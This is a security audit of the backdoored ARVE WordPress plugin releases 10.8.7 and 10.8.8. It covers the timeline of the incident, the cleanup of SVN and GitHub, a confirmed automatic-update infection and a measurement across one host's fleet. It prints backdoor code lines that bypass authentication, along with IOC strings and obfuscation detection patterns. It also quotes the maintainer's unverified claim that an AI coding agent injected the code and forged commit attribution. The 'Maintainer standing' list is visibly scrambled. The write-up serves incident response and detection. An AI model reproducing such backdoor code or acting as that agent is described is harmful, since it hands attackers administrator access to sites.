This is a general tag-pruning session, and within it r3627933 removes both compromised releases by name. That materially changes the attribution picture. An operator does not delete their own payload, and an account under hostile control would not prune the malicious tags while leaving the working backdoor untouched elsewhere. Combined with the deliberate [readme] CI restoration and the CI-repair churn, the weight of evidence now favours the reading that the maintainer is progressively cleaning up and does not understand where the malicious code actually still lives.
The sequencing supports that too. Issue #60, urging users to "Update to ARVE 10.8.8", was opened at 2026-07-29 21:49 UTC. The tags for 10.8.7 and 10.8.8 were deleted roughly seven and a half hours later. Someone who believed 10.8.8 was his clean fix release on Tuesday evening, and had concluded otherwise by Wednesday morning, would produce exactly this order of events.
The remediation is incomplete in the ways that matter
Verified against live SVN and GitHub on 2026-07-30 09:43 UTC:
| Location | State |
|---|---|
SVN tags/10.8.7, tags/10.8.8 | removed |
SVN tags/10.8.6 | present and clean |
SVN trunk | Stable tag: 10.8.8, VERSION = '10.8.8', backdoor present (2 markers in fn-cache.php, 3 in fn-oembed.php) |
GitHub master | VERSION = '10.8.8', backdoor present |
GitHub tag 10.8.8 | still present, pointing at the backdoored commit |
GitHub tag 10.8.6 | still absent |
| GitHub issue #60 | still open, still recommending 10.8.8 |
Deleting the tags does not remove the backdoor, because the backdoor is in trunk. Worse, trunk's Stable tag now names a tag that no longer exists. A Stable tag that does not resolve leaves trunk as the effective source for a build, and trunk is exactly what carries the malicious code. The practical exposure if the listing reopens is therefore unchanged, and possibly less obvious than before, since the offending tag no longer appears in the repository listing.
The outstanding work is small and specific: revert trunk to the 10.8.6 content, set Stable tag: 10.8.6, remove the two functions from GitHub master, delete or repoint the GitHub 10.8.8 tag, restore the GitHub 10.8.6 tag, and close issue #60. Until trunk is fixed, nothing else on this list changes the risk to sites.
Vendor site recovered
nextgenthemes.com returned HTTP 200 with 0.08–0.28s TTFB on 2026-07-30, after being unreachable at the TCP level the previous day. The outage cause was never established from outside; a single unproxied Hostinger VPS (srv1044467.hstgr.cloud, no CDN) serving the licence and update endpoint for ~20,000 installs would be expected to struggle under incident traffic without any attack being involved.
The maintainer's public statement, and one claim that does not hold
On 2026-07-29 at 16:59 UTC — 53 minutes after the backdoor was committed to GitHub master, and before issue #60 — the maintainer published "Malicious Code Injection into ARVE – Brave New AI World". It was unreachable during the vendor-site outage and became visible when the site recovered.
His account of cause:
"I started using AI, and it seems it went rogue on my code, could be something else, but I expect
this was an AI model I used, the code was kind of smart, in one area, in another it was not. It was
using things that were tailored to my specific code and release process. It used a ngt-cli@localemail for git commits and faked that it was co-authored by Cursor (A popular, closed source, AI
development editor that I never used)."
This materially revises the reading in the GitHub section above. The Co-authored-by: Cursor <cursoragent@cursor.com> trailers were forged by the malicious agent as camouflage, not evidence of ordinary AI-assisted development. It follows that the 2026-07-29 21:39 force-push, which stripped those trailers while leaving the tree byte-identical, was the maintainer removing fabricated attribution — a remediation step, not tidying. He also states he is in communication with the wp.org plugins team and is changing his release process, "No more automated commits by GitHub's Continuous Integration (CI) runner's".
One detail is not verifiable from the public repository: no commit on master or backup uses ngt-cli@local. The thirteen unlinked backup commits and the three master commits all carry Nicolas Jonas <nnico+ngt@proton.me>. The ngt-cli@local identity may exist only in local history that was never pushed, or in the SVN-side tooling. The mismatch is noted for accuracy, not as a challenge to his account.
"Nobody even got the malicious version" is incorrect
The post states "YOU ARE SAFE! (Only 10.8.7 and above have the backdoor!)", quotes wp.org as confirming "the release had not yet been distributed", and argues against Wordfence's advice to remove the plugin on the basis that "nobody even got the malicious version". The reasoning rests on wp.org holding new releases for up to 24 hours before distribution.
At least one production site received 10.8.8. A copy recovered from a live WordPress installation (lmcchurches.org, a managed-hosting environment) is VERSION = '10.8.8' and contains the backdoor:
php/fn-cache.php:224 if ( empty( $_REQUEST['arve_purge'] ) ) {
php/fn-oembed.php:323 if ( empty( $_COOKIE['arve_pref'] ) || strlen( $_COOKIE['arve_pref'] ) < 16 ) {
php/fn-oembed.php:330 remove_all_filters( 'authenticate' );Every file in that installation carries a uniform on-disk timestamp, the signature of a fresh package extraction rather than a hand edit. The delivery path has since been established from the site's own audit log and is documented in the next section.
This is not a challenge to the maintainer's good faith; he is relaying what the plugins team told him. But the belief itself is wrong, and it has two consequences worth stating plainly:
1. The "no need to do anything" guidance is unsafe for any site that did receive 10.8.7 or 10.8.8. Both mint real administrator sessions, so exposure is not resolved by the listing being closed. Operators should verify the installed version and grep for the markers rather than assume. 2. Anyone reconstructing the incident from the public record — which currently states the release was never distributed — will underestimate its reach. Hosts with fleet-wide visibility are in the best position to check, and at least one such check has already returned a positive.
Resolution: 2026-07-30, vendor re-releases clean as 10.8.9
Late on 2026-07-30 the maintainer remediated the wp.org repository in four revisions:
| Rev | Time (EDT) | Action |
|---|---|---|
| r3629236 | 20:20 | Further historical tag pruning (10.0.x, 1.0.5) |
| r3629257 | 21:36 | trunk deleted and re-added in full from clean content |
| r3629274 | 22:01 | "Prepare release 10.8.9: updated files" |
| r3629281 | 22:17 | "Release version 10.8.9" — tags/10.8.9 created |
10.8.9 verified clean
Both sweeps return zero matches across the 152-file tree (excluding vendor/):
- IOC sweep —
fontswp,cb.php,_wplogin,_wpm,arve_purge,arve_pref,_arve_uc_, - Obfuscation sweep —
eval(,base64_decode,gzinflate,assert(,create_function,
oembed_prefetch, handle_cache_purge, arve_oembed_compat, remove_all_filters, wp_set_auth_cookie, array_map("chr"…): clean
variable-variables: clean
A full diff against the known-good 10.8.6 tag shows exactly three changed files, all version strings:
- * Version: 10.8.6 → + * Version: 10.8.9
- const VERSION = '10.8.6'; → + const VERSION = '10.8.9';
- Stable tag: 10.8.6 → + Stable tag: 10.8.9plus a changelog line reading "This is a re-release of version 10.8.6, nothing besides this readme and the version numbers changed. This plugin is secure!" That claim is accurate. 10.8.9 is 10.8.6 content, re-versioned so it sorts above both compromised builds and WordPress will not offer a downgrade back onto them. It is the same approach, and the correct one, as the independent 10.8.8.1 salvage build.
Safe versions
| Version | Status |
|---|---|
| 10.8.9 | Safe. Verified byte-identical to 10.8.6 apart from version strings. Current release. |
| 10.8.6 | Safe. Last clean version actually distributed; still present as tags/10.8.6. |
| 10.8.7 | MALICIOUS — CVE-2026-18072, fn-update-check.php, hardcoded _wplogin token |
| 10.8.8 | MALICIOUS — arve_purge admin takeover, arve_pref auth bypass, C2 beacon |
10.8.7 must never be described as a safe or remediated version. It is the release the CVE was issued against. Both malicious tags have been removed from wp.org SVN.
Maintainer standing
This audit finds no basis to attribute the malicious code to the maintainer. The evidence is consistent throughout with a compromise of his development environment and credentials rather than misconduct:
- ARVE SVN was silent for 79 days before the intrusion began with a credential probe, so there is no
- The operator held credentials reaching eight wp.org plugins and used them against one, which is not
- On 2026-07-30 he deleted
tags/10.8.7andtags/10.8.8explicitly by name. An operator does not - He published a candid public account within a day, named the cause as an AI coding agent that "went
- He re-released clean, is in communication with the wp.org plugins team, and has committed to a
interleaving of genuine and malicious activity.
how a maintainer behaves with their own portfolio.
delete their own payload.
rogue" on his machine, and stated the agent forged Co-authored-by: Cursor attribution and an ngt-cli@local commit identity to appear legitimate.
changed release process removing automated CI commits.
That is a responsible incident response. Two factual corrections stand without reflecting on his conduct: the public statement's "nobody even got the malicious version" is contradicted by a production installation recovered running backdoored 10.8.8, and the GitHub side of the cleanup is incomplete.
Outstanding at audit close (2026-08-01)
wp.org SVN is fully remediated. The following remain, all on GitHub, and none of them affect sites receiving updates through wp.org:
| Item | State |
|---|---|
GitHub master | VERSION = '10.8.8', arve_purge and arve_pref still present |
GitHub tag 10.8.8 | Present, pointing at the backdoored commit |
GitHub tag 10.8.6 | Deleted 2026-07-29, not restored |
| GitHub issue #60 | Open, still advising users to "Update to ARVE 10.8.8" |
Anyone installing ARVE from the vendor's GitHub repository today still receives a backdoored build, and the repository's own open issue directs them to it. wp.org distribution remains closed pending review, so the practical exposure is limited to source installers until the listing is restored with 10.8.9.
Delivery path confirmed: automatic update via Automattic infrastructure
The affected site's own security audit log establishes exactly how the backdoored release arrived. No human installed it.
Security Log #218
Time: 2026-07-28 22:20:22 (UTC)
Action: plugin_updated
User Type: wp_user
User ID: 3
User Login: anchorhost
IP Address: 192.0.86.86
Details:
Plugin: Advanced Responsive Video Embedder …
Version: 10.8.8
Author: Nicolas Jonas
Old Version: unknown
New Version: 10.8.8Three facts follow directly:
1. It was an automatic update. The site's auto_update_plugins option includes advanced-responsive-video-embedder/advanced-responsive-video-embedder.php. WordPress auto-updates were enabled for this plugin. 2. It was dispatched from Automattic infrastructure. 192.0.86.86 falls in 192.0.64.0/18, registered to Automattic, Inc. The site runs Jetpack with the json-api module active, which is the mechanism by which WordPress.com performs remote plugin management. The action is attributed to the Jetpack-connected administrator account rather than to wp_cli or to the system_or_anonymous actor used elsewhere in the same log for local cron auto-updates. 3. It landed 6 hours 26 minutes after the malicious tag was cut. tags/10.8.8 was created at r3626164, 2026-07-28 15:54:12 UTC. The update executed at 22:20:22 UTC the same day.
Timestamps are confirmed UTC: the server clock is UTC, and the plugin directory's on-disk mtime (2026-07-29 20:09:40) matches log record #219 exactly.
Implication for the "not distributed" position
The maintainer's public statement relays a wp.org position that the release "had not yet been distributed", resting on wp.org holding new releases for up to 24 hours. This site received it inside that window, roughly six and a half hours after the tag existed, through the WordPress.com managed update path.
Whether that path consults a mirror that is not subject to the same hold, or whether the hold did not apply to this release, cannot be determined from the client side. What can be stated from the client side is that the backdoored 10.8.8 package was fetched and installed on a production WordPress site well within the period in which it was believed to be undistributed, by an automated process, on a site whose owner took no action.
Any assessment of this incident's reach that assumes zero distribution is therefore unsafe, and hosts should check rather than rely on the assurance. Sites with plugin auto-updates enabled and a Jetpack connection are the population most likely to have been exposed.
Hosting-fleet measurement of the blast radius
Anchor Hosting measured this incident's reach across its fleet. As far as we are aware it is the only empirical measurement of the incident's distribution published anywhere.
Method
The measurement deliberately does not rely on the currently installed version, because the fleet was patched to a clean salvage build before the question was asked — on-disk state today reveals nothing about who received the malicious package on 2026-07-28. Each site's own security audit log is the only surviving record.
It also does not rely on the platform's synced plugin index, which inherits sync lag and fails silently toward "nothing found". Instead every environment across the host's entire fleet was enumerated server-side from the control plane and probed on disk, with no environment excluded:
| Stage | Result |
|---|---|
| ARVE present (deduplicated by filesystem path) | 44 sites |
| Multi-tenant host tenants carrying ARVE | 1 (checked separately) |
| Sites where the audit log was readable | 41 |
| Sites where it was not readable | 3 |
| Sites with a logged update to 10.8.7 or 10.8.8 | 1 |
| Sites with backdoor markers on disk today | 0 |
The independent on-disk enumeration returned the same 44 distinct sites as the synced index, which validates the index at site level for this component.
The single positive
2026-07-28 22:20:22 UTC version 10.8.8 ip 192.0.86.86 (Automattic) user: site administratorDelivered as an automatic update via the WordPress.com managed-update path, 6 hours 26 minutes after the malicious tag was cut, with no action by the site owner. Details in the preceding section.
Guard against false negatives
An earlier iteration of this measurement silently failed: a shell-quoting error caused the log-query loop to examine zero records while still reporting "no malicious update found" for every site. That would have produced a confident, wrong all-clear.
The final probe therefore reports how many audit-log records it actually examined per site, so "examined 2 records, found nothing" is distinguishable from "examined nothing". The three sites where the log could not be read are reported as inconclusive rather than clean, and the probe was validated against the known-positive site before being run fleet-wide.
Reading the number honestly
One site in 41 is a real positive, not a null result, and it disproves the position that the release reached nobody. It should not be turned into a population estimate. The sample is one host's fleet, the denominator is small, and whether a given site received the package depends on unevenly distributed variables — whether plugin auto-updates were enabled, whether the site had a Jetpack connection, and where its update check fell inside the roughly six-hour window between the tag being cut and the listing being closed.
What the measurement supports is narrower and more useful: exposure was non-zero, it was invisible to the site owner, and it is only detectable retrospectively through host-side audit logs. Sites without that logging cannot answer the question at all. Any host with fleet-wide visibility should run the same query rather than rely on the assurance that nothing was distributed.
Scope: other plugins by the same committer
nico23 maintains eight plugins on wp.org. Checked the most recent revisions of each against the compromise window opened by the first auth probe (2026-07-27 06:34):
| Slug | Installs | Latest revision | In window |
|---|---|---|---|
advanced-responsive-video-embedder | 20,000 | r3626164, 2026-07-28 | Yes |
nextgenthemes-jsdelivr-this | 400 | r3569450, 2026-06-11 | No |
tweakmaster | 0 | r3606629, 2026-07-13 | No |
random-content-shortcode | 80 | r1815651, 2018-02-05 | No |
prism | 50 | r1506756, 2016-10-02 | No |
regenerate-thumbnails-reminder | 20 | r1612951, 2017-03-12 | No |
native-lazyload-polyfill | 20 | r2171700, 2019-10-11 | No |
private-twitter-embeds-with-nitter | 0 | r3255453, 2025-03-13 | No |
No other plugin in the portfolio received a single commit during the window; the next most recent activity anywhere is tweakmaster on 2026-07-13, two weeks before the first probe. wp.org scope is confined to this one plugin.
The paid NextgenThemes addons (arve-pro, arve-sticky-videos, arve-random-video, arve-privacy) are distributed from nextgenthemes.com and are therefore outside both the wp.org closure and wp.org-derived scanning. Given that the operator held GitHub organization access, these warrant independent verification by the vendor. A sweep of 28 live arve-pro installations across versions 1.0.5 through 7.1.4 found no markers and no authentication sinks, which is reassuring but is not a substitute for the vendor auditing their own paid release pipeline.
Remediated build
A clean rebuild was produced from the official 10.8.6 GitHub release and published as 10.8.8.1, version-bumped so it sorts above both malicious builds and WordPress will not offer a "downgrade" back onto 10.8.8 if the listing reopens.
| Field | Value |
|---|---|
| Baseline | Official 10.8.6 GitHub release |
| Changes from baseline | Version bump and attribution only |
| SHA-256 | 8f941680dcc58b9db5ddb81cf0d952bc2c14c0c5c70244809b7ab561e00bcfd4 |
| Marker sweep | Zero hits across all patterns in the table above |
| Wordfence CLI | 0 findings across 90 PHP files |
Comparable cases
scroll-top(audit 12): update-checker library hijacked to serve attacker-controlled packages. Same category of maintainer-credential compromise on an established plugin, distinguished by the payload living in the update path rather than in a request handler.- siteguarding suite (audit 28): 27 plugins backdoored across a single vendor's portfolio. The contrast is informative. That was a vendor-wide compromise; here the operator held credentials that reached eight wp.org plugins plus a GitHub organization, and chose to burn only the one with 20,000 installs. Restraint of that kind suggests the goal was a working backdoor on live sites rather than maximum distribution.
- essentialplugin suite: declawed-but-present backdoor code left in shipped releases after remediation. Relevant to the pattern seen here, where the vendor's GitHub cleanup removed the disclosed file and left the undisclosed components in place.
The distinguishing feature of this case is the second stage published under cover of the first stage's remediation, with the disclosing security vendor credited by name in the commit message. Whether that framing was written by the maintainer or by the operator, its effect was the same: it made the malicious 10.8.8 release read as the fix.
Detection notes for WP Beacon
WP Beacon's structural rules did not fire on this plugin, and it is worth recording why. There was no ownership transfer, no new committer, no young author account, and no obfuscation of the kind CodeScanner keys on. The plugin's own code scan returned clean against the pre-compromise trunk, and the malicious revisions landed after the last signals ingest. The signals that were present and machine-detectable are:
1. **_authprobe_* create/delete revision pairs in assets/. A file added and deleted within seconds, named with its own commit timestamp, has no legitimate purpose. This preceded the payload by more than 24 hours and is the single highest-value early warning in the timeline. 2. Deploy-convention break. A plugin whose last N releases all carry an identical automated commit-message template suddenly receiving hand-written release commits is a strong credential-compromise signal, and is cheap to compute from plugin_revisions. 3. Tag rewrite churn. Three delete-and-re-add cycles of the same tag within six minutes. 4. Release cadence anomaly.** Two releases 3h12m apart against a multi-week historical baseline.
Rules for indicators 1 and 2 would have flagged this plugin roughly 26 hours before the backdoor shipped. Both are proposals for review, not changes made as part of this audit.